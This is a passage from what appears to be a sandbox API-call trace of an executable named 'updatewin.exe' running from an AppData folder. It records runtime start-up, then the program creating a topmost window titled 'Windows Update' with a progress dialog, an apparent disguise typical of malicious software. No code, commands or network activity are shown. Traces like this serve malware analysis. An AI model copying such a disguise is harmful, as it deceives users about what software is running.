lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x402400, hStdOutput=0x9cd8e132, hStdError=0xfffffffe)) [0054.906] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0054.906] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0054.906] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0054.907] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe\" " [0054.907] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe\" " [0054.907] IsValidCodePage (CodePage=0x4e4) returned 1 [0054.907] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18e500 | out: lpCPInfo=0x18e500) returned 1 [0054.907] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ddc8 | out: lpCPInfo=0x18ddc8) returned 1 [0054.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.907] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18dddc | out: lpCharType=0x18dddc) returned 1 [0054.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db18, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā") returned 256 [0054.907] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.907] GetLastError () returned 0x57 [0054.908] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0054.908] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0054.908] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā", cchSrc=256, lpDestStr=0x18d908, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0054.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18e2dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿz&\x81\x9c\x18å\x18", lpUsedDefaultChar=0x0) returned 256 [0054.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db38, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.908] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0054.908] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d928, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0054.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18e1dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿz&\x81\x9c\x18å\x18", lpUsedDefaultChar=0x0) returned 256 [0054.908] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x80) returned 0x5bb0e0 [0054.908] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x413ba8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe")) returned 0x5e [0054.908] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xc6) returned 0x5bd360 [0054.908] RtlInitializeSListHead (in: ListHead=0x413ad0 | out: ListHead=0x413ad0) [0054.908] GetLastError () returned 0x0 [0054.908] GetEnvironmentStringsW () returned 0x5bd430* [0054.908] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xaca) returned 0x5bdf08 [0054.908] FreeEnvironmentStringsW (penv=0x5bd430) returned 1 [0054.908] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x98) returned 0x5bafc8 [0054.908] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x3e) returned 0x5bd430 [0054.908] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x6c) returned 0x5bd478 [0054.908] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x6e) returned 0x5bd4f0 [0054.908] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x78) returned 0x5a1270 [0054.908] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x62) returned 0x5bd568 [0054.908] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2e) returned 0x5a52c0 [0054.908] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x48) returned 0x5bd5d8 [0054.908] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x28) returned 0x5bd628 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1a) returned 0x5bd0a8 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x4a) returned 0x5bd658 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x72) returned 0x5a12f0 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x30) returned 0x5a52f8 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2e) returned 0x5a5330 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1c) returned 0x5bd0d0 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xd2) returned 0x5bd6b0 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x7c) returned 0x5bd790 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x36) returned 0x5bd818 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x3a) returned 0x5be9f8 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x90) returned 0x5bd858 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x24) returned 0x5bd8f0 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x30) returned 0x5a5368 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x36) returned 0x5bd920 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x48) returned 0x5bd960 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x52) returned 0x5bd9b0 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x3c) returned 0x5bea40 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x82) returned 0x5bda10 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2e) returned 0x5a53a0 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1e) returned 0x5bd0f8 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2c) returned 0x5a53d8 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x54) returned 0x5bdaa0 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x52) returned 0x5bdb00 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2a) returned 0x5a5410 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x3c) returned 0x5bea88 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x54) returned 0x5bdb60 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x24) returned 0x5bdbc0 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x30) returned 0x5a5448 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x8c) returned 0x5bdbf0 [0054.909] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5bdf08 | out: hHeap=0x590000) returned 1 [0054.909] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x800) returned 0x5bdc88 [0054.910] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0054.910] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402116) returned 0x404e69 [0054.917] GetStartupInfoW (in: lpStartupInfo=0x18e548 | out: lpStartupInfo=0x18e548*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0054.917] InitCommonControlsEx (picce=0x18e564) returned 1 [0054.917] LoadIconW (hInstance=0x400000, lpIconName=0x6b) returned 0x501c1 [0054.918] LoadStringW (in: hInstance=0x400000, uID=0x67, lpBuffer=0x414378, cchBufferMax=100 | out: lpBuffer="Windows Update") returned 0xe [0054.918] LoadStringW (in: hInstance=0x400000, uID=0x6d, lpBuffer=0x4142b0, cchBufferMax=100 | out: lpBuffer="WINDOWSUPDATE") returned 0xd [0054.918] LoadIconW (hInstance=0x400000, lpIconName=0x6b) returned 0x501c1 [0054.919] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0054.919] LoadIconW (hInstance=0x400000, lpIconName=0x6c) returned 0x7010f [0054.919] RegisterClassExW (param_1=0x18e510) returned 0xc13f [0054.919] GetDesktopWindow () returned 0x10010 [0054.919] MonitorFromWindow (hwnd=0x10010, dwFlags=0x2) returned 0x10001 [0054.920] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x18e510 | out: lpmi=0x18e510) returned 1 [0054.920] CreateWindowExW (dwExStyle=0x0, lpClassName="WINDOWSUPDATE", lpWindowName="Windows Update", dwStyle=0x0, X=1002, Y=600, nWidth=418, nHeight=240, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x50124 [0055.131] NtdllDefWindowProc_W () returned 0x0 [0055.131] NtdllDefWindowProc_W () returned 0x1 [0055.134] NtdllDefWindowProc_W () returned 0x0 [0055.136] CreateDialogParamW (hInstance=0x400000, lpTemplateName=0x65, hWndParent=0x50124, lpDialogFunc=0x401360, dwInitParam=0x0) returned 0x6011c [0055.145] NtdllDefWindowProc_W () returned 0x0 [0055.148] NtdllDefWindowProc_W () returned 0x0 [0055.148] NtdllDefWindowProc_W () returned 0x0 [0055.152] GetClientRect (in: hWnd=0x6011c, lpRect=0x18d358 | out: lpRect=0x18d358) returned 1 [0055.152] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1000) returned 0x301c2 [0055.152] MoveWindow (hWnd=0x301c2, X=295, Y=167, nWidth=95, nHeight=23, bRepaint=1) returned 1 [0055.153] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1001) returned 0x301c0 [0055.153] MoveWindow (hWnd=0x301c0, X=95, Y=134, nWidth=225, nHeight=16, bRepaint=1) returned 1 [0055.154] SendMessageW (hWnd=0x301c0, Msg=0x401, wParam=0x0, lParam=0x640000) returned 0x640000 [0055.155] SendMessageW (hWnd=0x301c0, Msg=0x402, wParam=0x4, lParam=0x0) returned 0x0 [0055.162] timeGetTime () returned 0x1147198 [0055.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x401690, lpParameter=0x6011c, dwCreationFlags=0x0, lpThreadId=0x4142a4 | out: lpThreadId=0x4142a4*=0xb00) returned 0xbc [0055.163] ShowWindow (hWnd=0x6011c, nCmdShow=5) returned 0 [0055.163] GetClientRect (in: hWnd=0x50124, lpRect=0x18df10 | out: lpRect=0x18df10) returned 1 [0055.163] MoveWindow (hWnd=0x6011c, X=0, Y=0, nWidth=412, nHeight=212, bRepaint=1) returned 1 [0055.164] NtdllDefWindowProc_W () returned 0x0 [0055.164] SetWindowPos (hWnd=0x50124, hWndInsertAfter=0xffffffff, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0055.164] NtdllDefWindowProc_W () returned 0x0 [0055.167] NtdllDefWindowProc_W () returned 0x0 [0055.167] NtdllDefWindowProc_W () returned 0x0 [0055.306] NtdllDefWindowProc_W () returned 0x0 [0055.307] NtdllDefWindowProc_W () returned 0x0 [0055.307] NtdllDefWindowProc_W () returned 0x1 [0055.308] NtdllDefWindowProc_W () returned 0x0 [0055.328] NtdllDefWindowProc_W () returned 0x0 [0055.330] NtdllDefWindowProc_W () returned 0x0 [0055.330] NtdllDefWindowProc_W () returned 0x0 [0055.331] NtdllDefWindowProc_W () returned 0x0 [0055.331] ShowWindow (hWnd=0x50124, nCmdShow=1) returned 0 [0055.331] NtdllDefWindowProc_W () returned 0x0 [0055.331] NtdllDefWindowProc_W () returned 0x0 [0055.332] NtdllDefWindowProc_W () returned 0x0 [0055.335] NtdllDefWindowProc_W () returned 0x1 [0055.336] NtdllDefWindowProc_W () returned 0x0 [0055.336] NtdllDefWindowProc_W () returned 0x0 [0055.336] NtdllDefWindowProc_W () returned 0x0 [0055.336] UpdateWindow (hWnd=0x50124) returned 1 [0055.336] BeginPaint (in: hWnd=0x50124, lpPaint=0x18e328 | out: lpPaint=0x18e328) returned 0x301083d [0055.336] EndPaint (hWnd=0x50124, lpPaint=0x18e328) returned 1 [0055.336] BeginPaint (in: hWnd=0x6011c, lpPaint=0x18da10 | out: lpPaint=0x18da10) returned 0x901085b [0055.337] CreateSolidBrush (color=0x5b3ef) returned 0x50100273 [0055.337] FillRect (hDC=0x901085b, lprc=0x18da00, 